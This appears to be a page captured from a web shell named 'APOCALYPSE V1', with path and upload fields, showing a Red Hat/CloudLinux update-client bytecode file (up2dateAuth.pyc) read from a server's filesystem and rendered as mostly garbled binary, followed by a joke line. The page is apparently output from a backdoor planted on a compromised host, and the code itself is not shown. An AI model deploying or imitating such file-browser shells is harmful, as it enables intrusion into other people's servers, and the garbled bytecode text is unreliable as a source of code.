PK APOCALYPSE V1

APOCALYPSE V1

Current Path : /proc/self/root/lib/python3.6/site-packages/up2date_client/__pycache__/
Upload File :
Current File : //proc/self/root/lib/python3.6/site-packages/up2date_client/__pycache__/up2dateAuth.cpython-36.pyc

3

`��g�%�@s<ddlZddlZddlZddlZddlZddlZddlmZyddlm	Z	Wne
k
rdeZ	YnXddlm
Z
ddlmZddlmZddlmZddlmZdd	lmZdd
lmZdadZdd
�Zdd�Zdd�Zdd�Zdd�Zd'dd�Zd(dd�Zd)dd�ZGdd�de�Zdd �Z d!d"�Z!d#d$�Z"d%d&�Z#dS)*�N)�	rpcServer)�DictType)�rpclib)�
clientCaps)�config)�	rhnserver)�
up2dateErrors)�
up2dateLog)�up2dateUtilsz /var/spool/up2date/loginAuth.pklcCs@tj�}|d}tj|tj�s"dSt|d�}|j�}|j�|S)N�systemIdPath�r)r�initUp2dateConfig�os�access�R_OK�open�read�close)�cfg�path�f�ret�r�!/usr/lib/python3.6/up2dateAuth.py�getSystemIds
rc	CsBtjjd�rdStj�}ytjjt��ddd}Wn
dSt	j
�}|doZ||k�r>tj�}|j
jt�|�}|d}|d|jd��}tj|tj�s�ytj|�Wn
dStj|tj�s�dStj|tj��r�|d}ytj||�Wn
dSt|d�}|j|�|j�ytj|td	d
��WnYnXdS)NZLEAPP_IPU_IN_PROGRESSrZ
os_releaseZchannelOverrider�/z.save�w�0600�)r�environ�getrr
r�	xmlrpclib�loadsrr
Z
getVersionr�	RhnServerZregistrationZupgrade_version�rfindr�W_OK�mkdir�F_OK�renamer�writer�chmod�int)	r�idVerZ	systemVer�sZnewSystemIdr�dirZsavePathrrrr�maybeUpdateVersion*sB

r/cCs�tj�}|jd�ts$|jd�dStj�td�}tjjt�}tj	|tj
�s�y tj|�tj|t
dd��Wn|jd|�dSttd�}tjtt
d	d��tj||�|j�|d
ttd�}|jd|d
d
|d�dS)z�
    Pickle loginInfo to a file
    Returns:
    True    -- wrote loginInfo to a pickle file
    False   -- did _not_ write loginInfo to a pickle file
    zwriteCachedLogin() invokedz1writeCachedLogin() loginInfo is None, so bailing.F)�time�	loginInfoZ0700rz'Unable to write pickled loginInfo to %s�wbrr0zX-RHN-Auth-Expire-OffsetzWrote pickled loginInfo at z with expiration of z	 seconds.T)r	�initLog�	log_debugr1r0rr�dirname�pcklAuthFileNamerr%r&r*r+�log_mer�pickle�dumpr�float)�log�dataZpcklDir�pcklAuth�
expireTimerrr�writeCachedLoginXs.



r?c	CsTtj�}|jd�tjttj�s2|jdt�dSttd�}ytj	|�}Wn*t
tfk
rt|jd�|j�dSX|j�yLt
jjt��ddd}d|d	d
}||kr�|jd||f�dSWnYnX|d}|d	}tj�}|t|d
�}|jd|d|dt|d
��||k�r<|jd||f�dSt|�|jd|�dS)zb
    Read pickle info from a file
    Caches authorization info for connecting to the server.
    zreadCachedLogin invokedz'Unable to read pickled loginInfo at: %sF�rbzSUnexpected EOF. Probably an empty file,                        regenerate auth filerZ	system_idzID-%sr1zX-RHN-Server-Idz#system id version changed: %s vs %sr0zX-RHN-Auth-Expire-Offsetz(Checking pickled loginInfo, currentTime=z
, createTime=z, expire-offset=z9Pickled loginInfo has expired, created = %s, expire = %s.z<readCachedLogin(): using pickled loginInfo set to expire at T)r	r3r4rrr6rrr8�load�EOFError�
ValueErrorrrr!r"rr0r:�_updateLoginInfo)	r;r=r<r,ZcidVerZcreatedTime�liZcurrentTimer>rrr�readCachedLoginxsH


rFcCs2t|�tkr*tt�tkr$tj|�q.|andadS)z,
    Update the global var, "loginInfo"
    N)�typerr1�update)rErrrrD�s
rDFc	Cs�tj�}|jd|�|r,tr,t�r,tStj|d�}tjj	�}x|D]\}}|j
||�qHW|dkrnt�}|svdSt�|j
d�|jj|tj�t|��}|jj�t|�t�tr�|j
d�|jdt�tS)Nzlogin(forceUpdate=%s) invoked)�timeoutzlogging into up2date serverz?successfully retrieved authentication token from up2date serverz
logininfo:)r	r3r4r1rFrr#rZcapsZheaderFormatZ
add_headerrr/r7Zup2date�login�socketZgetfqdn�_get_panel_nameZcapabilitiesZvalidaterDr?)	ZsystemId�forceUpdaterIr;ZserverZ
headerlistZ
headerName�valuerErrrrJ�s.



rJcCs0tj�}|jd�td|d�ts,tjd��tS)NzupdateLoginInfo() login infoT)rMrIzUnable to authenticate)r	r3r7rJr1rZAuthenticationError)rIr;rrr�updateLoginInfo�s

rOcCs8ytaWntk
r daYnXtr*tSt|d�tS)N)rI)r1�	NameErrorrJ)rIrrr�getLoginInfo�s

rQc@seZdZdS)�_FailedToGetPanelNameN)�__name__�
__module__�__qualname__rrrrrR�srRcCsLy
t�}Wn8tk
rBt�s8|jtj��|jd�t�}YnX|j�S)Nz?Failed to get panel name via cldetect, using fallback mechanism)	�_get_panel_name_via_cldetectrR�_is_cldeploy_runningZ
log_exception�sys�exc_infor7�_fallback_get_panel_name�lower)r;Z
panel_namerrrrL�s

rLcCstd}d}d}tjj|�r8t|��}|j�j�}WdQRX|rpd|}tjj|�rpt|��}d|j�k}WdQRX|S)Nz/var/lock/cldeploy.lckFz/proc/%s/cmdlineZcldeploy)rr�existsrr�strip)Zlock_file_pathZcldeploy_running�pidrZpid_cmdline_pathrrrrWs

rWcCsrddg\}}}tjj|�s(td|��tj|tjtjdd�}|j�\}}|jdkrjtddj	|�|f��|j
�S)	Nz/usr/bin/cldetectz--detect-cp-nameonlyz7Failed to obtain panel name because '%s' does not existT)�stdout�stderrZuniversal_newlinesrz:Failed to obtain panel name using '%s' command; stderr: %s� )rrr\rR�
subprocess�Popen�PIPEZcommunicate�
returncode�joinr])Zbinary�_�cmdZprocessr_r`rrrrVs
rVcCsdtjjd�rdStjjd�r dStjjd�r0dStjjd�r@dStjjd	�rPd
Stjjd�r`dSd
S)Nz/usr/local/psa/admin/Zpleskz/usr/local/interworx/Z	interworxz#/usr/local/cpanel/whostmgr/docroot/Zcpanelz/usr/local/ispmgr/Zispmgrz/usr/local/directadmin/Zdirectadminz/usr/local/mgr5/sbin/mgrctlZispmgr5�unknown)rr�isdir�isfilerrrrrZ&srZ)NFN)N)N)$rr8rXr0rKrbZup2date_clientr�typesr�ImportError�dictZrhnrrrrrr	r
r1r6rr/r?rFrDrJrOrQ�	ExceptionrRrLrWrVrZrrrr�<module>s@
. ,
%






if you don't want to be vaporized in a nuclear explosion, i simply have to become nuclear myself… i am atomic